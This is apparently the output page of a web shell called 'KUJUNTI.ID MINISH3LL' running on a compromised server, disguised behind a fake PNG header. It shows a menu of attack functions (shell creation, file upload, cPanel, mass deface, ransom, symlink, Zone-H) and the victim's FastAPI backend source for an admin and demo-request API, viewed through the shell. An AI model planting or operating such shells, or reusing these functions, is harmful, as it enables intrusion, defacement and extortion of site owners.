\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/infraai.ai/backend/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/infraai.ai/backend/server.py


from dotenv import load_dotenv
from pathlib import Path

ROOT_DIR = Path(__file__).parent
load_dotenv(ROOT_DIR / '.env')

import os
import uuid
import logging
import time
from collections import defaultdict
import bcrypt
import jwt
from datetime import datetime, timezone, timedelta
from typing import List, Optional

from fastapi import FastAPI, APIRouter, Depends, HTTPException, Request, Response, status
from fastapi.security import HTTPBearer, HTTPAuthorizationCredentials
from starlette.middleware.cors import CORSMiddleware
from starlette.middleware.base import BaseHTTPMiddleware
from motor.motor_asyncio import AsyncIOMotorClient
from pydantic import BaseModel, Field, EmailStr, ConfigDict


# ----- DB -----
mongo_url = os.environ['MONGO_URL']
client = AsyncIOMotorClient(mongo_url)
db = client[os.environ['DB_NAME']]

JWT_SECRET = os.environ['JWT_SECRET']
JWT_ALGORITHM = "HS256"
ACCESS_TOKEN_HOURS = 12

COOKIE_NAME = "infraai_token"
COOKIE_MAX_AGE = ACCESS_TOKEN_HOURS * 3600


def _is_production() -> bool:
    return os.environ.get("ENVIRONMENT", "development").lower() == "production"


# ---------- Rate limiters (in-memory, no extra deps) ----------
# Login: 5 attempts per IP per 60 seconds
_login_attempts: dict = defaultdict(list)
RATE_LIMIT_MAX = 5
RATE_LIMIT_WINDOW = 60

# Demo-request form: 3 submissions per IP per 5 minutes
_demo_attempts: dict = defaultdict(list)
DEMO_RATE_LIMIT_MAX = 3
DEMO_RATE_LIMIT_WINDOW = 300


def _check_rate_limit(ip: str) -> bool:
    now = time.monotonic()
    window = [t for t in _login_attempts[ip] if now - t < RATE_LIMIT_WINDOW]
    _login_attempts[ip] = window
    if len(window) >= RATE_LIMIT_MAX:
        return False
    _login_attempts[ip].append(now)
    return True


def _check_demo_rate_limit(ip: str) -> bool:
    now = time.monotonic()
    window = [t for t in _demo_attempts[ip] if now - t < DEMO_RATE_LIMIT_WINDOW]
    _demo_attempts[ip] = window
    if len(window) >= DEMO_RATE_LIMIT_MAX:
        return False
    _demo_attempts[ip].append(now)
    return True


# ---------- Security headers middleware ----------
class SecurityHeadersMiddleware(BaseHTTPMiddleware):
    async def dispatch(self, request: Request, call_next):
        response = await call_next(request)
        response.headers["X-Content-Type-Options"] = "nosniff"
        response.headers["X-Frame-Options"] = "DENY"
        response.headers["X-XSS-Protection"] = "1; mode=block"
        response.headers["Referrer-Policy"] = "strict-origin-when-cross-origin"
        response.headers["Permissions-Policy"] = "camera=(), microphone=(), geolocation=()"
        if _is_production():
            response.headers["Strict-Transport-Security"] = (
                "max-age=63072000; includeSubDomains; preload"
            )
        return response


# ----- App -----
app = FastAPI(title="InfraAI API")
app.add_middleware(SecurityHeadersMiddleware)

api = APIRouter(prefix="/api")
security = HTTPBearer(auto_error=False)


# ----- Models -----
class DemoRequestCreate(BaseModel):
    name: str = Field(..., min_length=1, max_length=120)
    company: str = Field(..., min_length=1, max_length=160)
    email: EmailStr
    phone: Optional[str] = Field(None, max_length=40)
    intent: str = Field(..., max_length=80)
    message: Optional[str] = Field(None, max_length=2000)


class DemoRequest(BaseModel):
    model_config = ConfigDict(extra="ignore")
    id: str = Field(default_factory=lambda: str(uuid.uuid4()))
    name: str
    company: str
    email: str
    phone: Optional[str] = None
    intent: str
    message: Optional[str] = None
    status: str = "new"  # new | contacted | archived
    created_at: str = Field(default_factory=lambda: datetime.now(timezone.utc).isoformat())


class LoginInput(BaseModel):
    email: EmailStr
    password: str


class LoginResponse(BaseModel):
    email: str


class StatusUpdate(BaseModel):
    status: str


# ----- Auth helpers -----
def hash_password(pwd: str) -> str:
    return bcrypt.hashpw(pwd.encode("utf-8"), bcrypt.gensalt()).decode("utf-8")


def verify_password(pwd: str, hashed: str) -> bool:
    try:
        return bcrypt.checkpw(pwd.encode("utf-8"), hashed.encode("utf-8"))
    except Exception:
        return False


def create_access_token(email: str) -> str:
    payload = {
        "sub": email,
        "role": "admin",
        "exp": datetime.now(timezone.utc) + timedelta(hours=ACCESS_TOKEN_HOURS),
        "type": "access",
    }
    return jwt.encode(payload, JWT_SECRET, algorithm=JWT_ALGORITHM)


async def get_current_admin(
    request: Request,
    credentials: Optional[HTTPAuthorizationCredentials] = Depends(security),
) -> dict:
    # Prefer httpOnly cookie; fall back to Bearer for backward-compat
    token = request.cookies.get(COOKIE_NAME)
    if not token and credentials and credentials.credentials:
        token = credentials.credentials
    if not token:
        raise HTTPException(status_code=401, detail="Not authenticated")
    try:
        payload = jwt.decode(token, JWT_SECRET, algorithms=[JWT_ALGORITHM])
        if payload.get("type") != "access" or payload.get("role") != "admin":
            raise HTTPException(status_code=401, detail="Invalid token")
        user = await db.admins.find_one({"email": payload["sub"]}, {"_id": 0, "password_hash": 0})
        if not user:
            raise HTTPException(status_code=401, detail="Admin not found")
        return user
    except jwt.ExpiredSignatureError:
        raise HTTPException(status_code=401, detail="Token expired")
    except jwt.InvalidTokenError:
        raise HTTPException(status_code=401, detail="Invalid token")


# ----- Startup: seed admin + indexes -----
async def seed_admin():
    admin_email = os.environ["ADMIN_EMAIL"].lower().strip()
    admin_password = os.environ["ADMIN_PASSWORD"]
    existing = await db.admins.find_one({"email": admin_email})
    if existing is None:
        await db.admins.insert_one({
            "email": admin_email,
            "password_hash": hash_password(admin_password),
            "created_at": datetime.now(timezone.utc).isoformat(),
        })
        logging.info("Seeded admin user")
    else:
        if not verify_password(admin_password, existing.get("password_hash", "")):
            await db.admins.update_one(
                {"email": admin_email},
                {"$set": {"password_hash": hash_password(admin_password)}},
            )
            logging.info("Updated admin password from env")


@app.on_event("startup")
async def on_startup():
    await db.admins.create_index("email", unique=True)
    await db.demo_requests.create_index("created_at")
    await seed_admin()


@app.on_event("shutdown")
async def on_shutdown():
    client.close()


# ----- Public routes -----
@api.get("/health")
async def health():
    return {"status": "ok", "service": "infraai"}


@api.post("/demo-request", response_model=DemoRequest, status_code=201)
async def create_demo_request(payload: DemoRequestCreate, request: Request):
    client_ip = request.client.host if request.client else "unknown"
    if not _check_demo_rate_limit(client_ip):
        raise HTTPException(
            status_code=429,
            detail="Too many requests. Please wait a few minutes.",
        )
    obj = DemoRequest(**payload.model_dump())
    await db.demo_requests.insert_one(obj.model_dump())
    return obj


# ----- Admin routes -----
@api.post("/admin/login", response_model=LoginResponse)
async def admin_login(payload: LoginInput, request: Request, response: Response):
    client_ip = request.client.host if request.client else "unknown"
    if not _check_rate_limit(client_ip):
        raise HTTPException(
            status_code=429,
            detail="Too many login attempts. Please wait 60 seconds.",
        )

    email = payload.email.lower().strip()
    user = await db.admins.find_one({"email": email})
    if not user or not verify_password(payload.password, user.get("password_hash", "")):
        raise HTTPException(status_code=401, detail="Invalid credentials")

    token = create_access_token(email)

    # Set httpOnly cookie — not accessible via document.cookie / XSS
    response.set_cookie(
        key=COOKIE_NAME,
        value=token,
        httponly=True,
        samesite="lax",
        max_age=COOKIE_MAX_AGE,
        path="/",
        secure=_is_production(),  # True only over HTTPS in production
    )
    return LoginResponse(email=email)


@api.post("/admin/logout")
async def admin_logout(response: Response):
    response.delete_cookie(key=COOKIE_NAME, path="/")
    return {"ok": True}


@api.get("/admin/me")
async def admin_me(current: dict = Depends(get_current_admin)):
    return current


@api.get("/admin/requests", response_model=List[DemoRequest])
async def list_requests(current: dict = Depends(get_current_admin)):
    docs = await db.demo_requests.find({}, {"_id": 0}).sort("created_at", -1).to_list(2000)
    return docs


@api.patch("/admin/requests/{req_id}", response_model=DemoRequest)
async def update_request(req_id: str, payload: StatusUpdate, current: dict = Depends(get_current_admin)):
    if payload.status not in {"new", "contacted", "archived"}:
        raise HTTPException(status_code=400, detail="Invalid status")
    res = await db.demo_requests.find_one_and_update(
        {"id": req_id},
        {"$set": {"status": payload.status}},
        return_document=True,
        projection={"_id": 0},
    )
    if not res:
        raise HTTPException(status_code=404, detail="Not found")
    return res


@api.delete("/admin/requests/{req_id}")
async def delete_request(req_id: str, current: dict = Depends(get_current_admin)):
    res = await db.demo_requests.delete_one({"id": req_id})
    if res.deleted_count == 0:
        raise HTTPException(status_code=404, detail="Not found")
    return {"ok": True}


app.include_router(api)

# CORS: explicit origins only — credentials require non-wildcard list
_raw_origins = os.environ.get("CORS_ORIGINS", "http://localhost:3000,http://localhost:3001")
_allowed_origins = [o.strip() for o in _raw_origins.split(",") if o.strip()]

app.add_middleware(
    CORSMiddleware,
    allow_credentials=True,
    allow_origins=_allowed_origins,
    allow_methods=["GET", "POST", "PATCH", "DELETE", "OPTIONS"],
    allow_headers=["Content-Type", "Authorization"],
)

logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(name)s: %(message)s")

© KUJUNTI.ID